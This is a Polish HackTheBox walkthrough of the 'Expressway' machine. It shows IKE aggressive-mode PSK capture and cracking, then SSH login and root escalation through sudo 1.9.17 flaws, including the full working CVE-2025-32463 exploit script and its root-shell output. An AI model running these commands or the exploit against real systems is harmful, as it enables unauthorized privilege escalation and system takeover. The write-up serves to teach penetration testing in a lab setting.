[PL] HackTheBox - Expressway
March 07, 2026
Rekonesans
Nmap TCP
Nmap odsłania tylko jeden otwarty port:
22 (SSH)
rvr@rvr$ sudo nmap -p- --min-rate 10000 -oN nmap.all-ports 10.129.238.52
# Nmap 7.94SVN scan initiated Fri Mar 6 16:47:31 2026 as: nmap -p- --min-rate 10000 -oN nmap.all-ports 10.129.238.52
Warning: 10.129.238.52 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.238.52
Host is up (0.96s latency).
Not shown: 65416 closed tcp ports (reset), 118 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
rvr@rvr$ sudo nmap -p22 -sCV -oN nmap.initial 10.129.238.52
# Nmap 7.94SVN scan initiated Fri Mar 6 17:52:14 2026 as: nmap -p22 -sCV -oN nmap.initial 10.129.238.52
Nmap scan report for 10.129.238.52
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Poważne podatności w usłudze ssh są rzadkością. Dla powyższej wersji (OpenSSH 10.0p2) w bazie CVE nie widzimy nic, co faktycznie mogłoby przydać się w dalszej eksploitacji.
Nmap - UDP
Należy pamiętać, że nmap w standardowym trybie skanuje wyłącznie porty TCP. Skoro te nie pozwoliły nam ruszyć z miejsca, naturalnym następnym krokiem wydaje się być protokół UDP.
rvr@rvr$ sudo nmap -sU -oN nmap.udp-initial 10.129.238.52
# Nmap 7.94SVN scan initiated Fri Mar 6 17:53:21 2026 as: nmap -sU -oN nmap.udp-initial 10.129.238.52
Nmap scan report for 10.129.238.52
Host is up (0.15s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
500/udp open isakmp
4500/udp open|filtered nat-t-ikePowyższa odpowiedź pozwala nam jednoznacznie stwierdzić, że otwarty jest jedynie port 500 wskazujący na protokół IKE wykorzytywny w serwerach VPN opartych na IPSec. Pozostałe porty oznaczone są jako filtered, a więc nmap nie jest w stanie w 100% określić, czy usługa istnieje i nie odpowiada (open|filtered), czy dostęp do portu jest blokowany przez firewalla (filtered).
Shell jako ike
Użyjmy więc narzędzia ike-scan, który pozwala znaleźć błędy bezpieczeństwa występujące podczas łączenia się z takim serwerem.
rvr@rvr$ sudo ike-scan -M 10.129.238.52
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52 Main Mode Handshake returned
HDR=(CKY-R=d77ecd6344c0b82b)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Ending ike-scan 1.9.5: 1 hosts scanned in 0.247 seconds (4.06 hosts/sec). 1 returned handshake; 0 returned notifyNajciekawszą informacją z listingu wyżej jest to, że stosowane jest tu uwierzytelnienie PSK, a więc klucz jest współdzielony pomiędzy stronami zestawiającymi tunel IPSec.
To jednak wciąż za mało. Jak możemy przeczytać np. tu:
In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial packet of a vpn client that wants to establish an IPSec Tunnel (Hash_R). This hash is not encrypted. It’s possible to capture these packets using a sniffer, for example tcpdump and start dictionary or brute force attack against this hash to recover the PSK.
Zatem, do pełnego sukcesu potrzeba nam coś jeszcze - host IKE musi wspierać też tryb agresywny (opcja -A w ike-scan). Sprawdźmy to:
rvr@rvr$ sudo ike-scan -M -A 10.129.238.52
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52 Aggressive Mode Handshake returned
HDR=(CKY-R=97fe3ba4878e7d5f)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(32 bytes)
ID(Type=ID_USER_FQDN, Value=[email protected])
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)
Ending ike-scan 1.9.5: 1 hosts scanned in 0.063 seconds (15.86 hosts/sec). 1 returned handshake; 0 returned notifySukces! Aggressive Mode Handshake returned zwracany jest w odpowiedzi wraz z parą Auth=PSK.
To pozwola nam złapać hash sekretu PSK (opcja -P):
rvr@rvr$ ike-scan -A 10.129.238.52 -P
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52 Aggressive Mode Handshake returned HDR=(CKY-R=ab4f3d0e208f8848) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=[email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
7e4c129f7e9b5287776a7e0abd66fb4533ea2c04a7a5683c0a82714cfc529b594c22e563ee900f02b34aa8fa2e23d905aac5df5285a4a8f42aa3e79b25f845c8c20178f03bd377f77716baea098894670700f999d4646aa7d40d60c64875ddf82f85fe215151579bba685b32e1426436bd2bedf2aef689125a2c6c890b3c76d0:4292d5c1aae6d71a9e13314db3bfe957f9153053ce5d38c1e46d4f4b5d09863b3b6130ae5dbcb4594538ad200d777af6246d4964bfe5bc98e2917614d54f18b325d87744cfa966e231ae41fa15ca67be98293b3753645b18470e7f4add14f744d0fee692dabf5e149e445c9a789bd7019694a29c77b58a333ceb97d2997f715e:ab4f3d0e208f8848:201b66ba460da75e:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:b2fa1159c60f43247a2e853352deb0abf742da15:a970b39724d5ce55d908b4c48888156313c08e428d4095e9ca567b11172ed58c:deb0f3e914e4fa510eaf8f09a539941d53d8fbfe
Ending ike-scan 1.9.5: 1 hosts scanned in 0.051 seconds (19.48 hosts/sec). 1 returned handshake; 0 returned notifyMając taki hash (tutaj SHA1), możemy spróbować go złamać przy pomocy hashcata. Standardowo dla HackTheBox wystarczy słownik rockyou.txt:
rvr@rvr$ ./hashcat.bin psk_hash.txt /usr/share/wordlists/rockyou.txt
10df5abf7f3fcd3358a9b732d23cf29cab41c8008596b66602158b7d394b7982cd19838cbdf23485affcd4d582c8b09309dd16cf8bb31767bd61ebcebf70d0e9a857ba0cf29464200e051a4171215aa6835c79b3fd968403b400060b89b7e9196c4091b244988b4e1c297f406094304ad4ba121d27d98d385ef8b49fd84a1d76:3ab14d38c93cbbb3de617d98bece4d38139e24e03b73ddde8375dcf8c883ea2f5d17bd34a9b2d4e9b14fba3da4b443c3b7d6ffea2480702927fc1c3b57774b8309212d32c0d5fb3ada47ff75956e29f96c6173561a1ffc9eca04bb2878e0e3a262e18f3dbc8a0fa99c4b1e494c41f3ad875eb4e1e54ee35c88462059d2a3f65f:f6ebe68e456954e9:1f8dc832e292c60d:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:e5bce5376639288d4163d432d406e545842e8e65:3575ee50ead991e7b828545239195183681bfa85b9f17457755bba62d3d80fb4:c9f638a98f242a1a38e661109fb947a7d5969106:freakingrockstarontheroad
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5400 (IKE-PSK SHA1)
Hash.Target......: 10df5abf7f3fcd3358a9b732d23cf29cab41c8008596b666021...969106
Time.Started.....: Fri Mar 6 18:49:22 2026 (20 secs)
Time.Estimated...: Fri Mar 6 18:49:42 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 413.2 kH/s (4.30ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8046592/14344385 (56.10%)
Rejected.........: 0/8046592 (0.00%)
Restore.Point....: 8044544/14344385 (56.08%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: freaky97 -> frasierisland353
Hardware.Mon.#1..: Temp: 69c Util: 91%
Started: Fri Mar 6 18:49:18 2026
Stopped: Fri Mar 6 18:49:44 2026Złamane hasło to: freakingrockstarontheroad. Ale co z nazwą użytkownika?
Otóż, w listingu z narzędzia ike-scan możemy dostrzec coś jeszcze - email [email protected].
Spróbujmy więc zalogować się do ssh przy pomocy loginu ike i znalezionego hasła:
rvr@rvr$ ssh [email protected]
[email protected]'s password:
Last login: Fri Mar 6 20:46:29 GMT 2026 from 10.10.14.154 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Fri Mar 6 22:54:41 2026 from 10.10.14.124
ike@expressway:~$ whoami
ikeMamy dostęp ssha do maszyny! Z tego poziomu możemy już odczytać flagę ukrytą w user.txt.
ike@expressway:~$ cat user.txt
e264bf9c************************Shell jako root
Rozwi ązanie wzorcowe
Podstawowa enumeracja odsłania nietypową grupę użytkownika ike - proxy:
ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:~$ groups
ike proxyPoszukajmy więc plików należących do tej grupy:
ike@expressway:~$ find / -group proxy 2> /dev/null
/run/squid
/var/spool/squid
/var/spool/squid/netdb.state
/var/log/squid
/var/log/squid/cache.log.2.gz
/var/log/squid/access.log.2.gz
/var/log/squid/cache.log.1
/var/log/squid/access.log.1Wygląda na to, że na maszynie wykorzystywany był squid proxy, gdyż w logach widzimy ślady jego obecności. Najciekawszą informacją z nich jest domena http://offramp.expressway.htb:
1753229688.902 0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/htmlJeśli utkniemy, dobrym pomysłem w przypadku HackTheBox jest uruchomienie linpeas.sh - narzędzia do enumeracji podatności w systemach Linux.
Wśród wielu linii zwróconych przez ten skrypt możemy dostrzeć interesującą informację:
ike@expressway:/dev/shm$ sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17Wersja sudo to 1.9.17, a ta podatna jest na CVE-2025-32462.
W skrócie, jeśli użyjemy parametru -h (określający host) to reguły sudo zamiast dotyczyć hosta, który podajemy w parametrze, zostaną zaaplikowane dla systemu lokalnego, co może doprowadzić do wykonania dowolnej komendy w systemie lokalnym (zakładając że reguły “zdalne” będą dawały taką możliwość). Sprawdźmy to, wykorzystując znaleziony w logach chwilę wcześniej host: offramp.expressway.htb:
ike@expressway:/dev/shm$ sudo -h offramp.expressway.htb -l
Matching Defaults entries for ike on offramp:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User ike may run the following commands on offramp:
(root) NOPASSWD: ALL
(root) NOPASSWD: ALLMamy regułę (root) NOPASSWD: ALL, a to oznacza, że możemy wykonanć dowolną komendę w systemie lokalnym jako root!
ike@expressway:/dev/shm$ sudo -h offramp.expressway.htb id
uid=0(root) gid=0(root) groups=0(root)
ike@expressway:/dev/shm$ sudo -h offramp.expressway.htb whoami
root
ike@expressway:/dev/shm$ sudo -h offramp.expressway.htb bash
root@expressway:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)Dzięki temu możemy odczytać flagę root.txt:
root@expressway:/dev/shm# cat /root/root.txt
26161dbf************************Rozwiązanie alternatywne
Na ten moment wiemy o podatności w sudo 1.9.17. Ale CVE-2025-32462 to nie jedyna podatność dla tej wersji. Mamy jeszcze dużo poważniejsze CVE-2025-32463 o stopniu krytyczności równym 9.3 (critical). Zainteresowanych szczegółami zachęcam do przeczytania tego blogpostu. Tu ograniczę się do jedynie do wklejenia exploita i krótkiego opisu jego działania.
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}W skrócie, eksploit kompiluje bibliotekę .so.2, której zadaniem jest uruchomienie basha z uprawnieniami użytkownika root (efektywne UID i GUID należące do roota). Następnie, umieszcza złośliwą konfigurację nsswitch.conf i wywołuje sudo -R woot woot, która uruchomi podstawioną bibliotekę, dzięki obecności mechanizmu Name Service Switch (NSS). NSS wywoływany jest podczas wykonania logiki określającej chroot w sudo (przełącznik -R) i pozwala zdecydować skąd system ma wczytywać wymagane informacje (np. /etc/group widoczne w eksploicie).
Uruchamiamy taki skrypt i przejmujemy pełną kontrolę nad systemem:
ike@expressway:~$ bash CVE-2025-32463.sh
woot!
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
root@expressway:/# cat /root/root.txt
26161dbf************************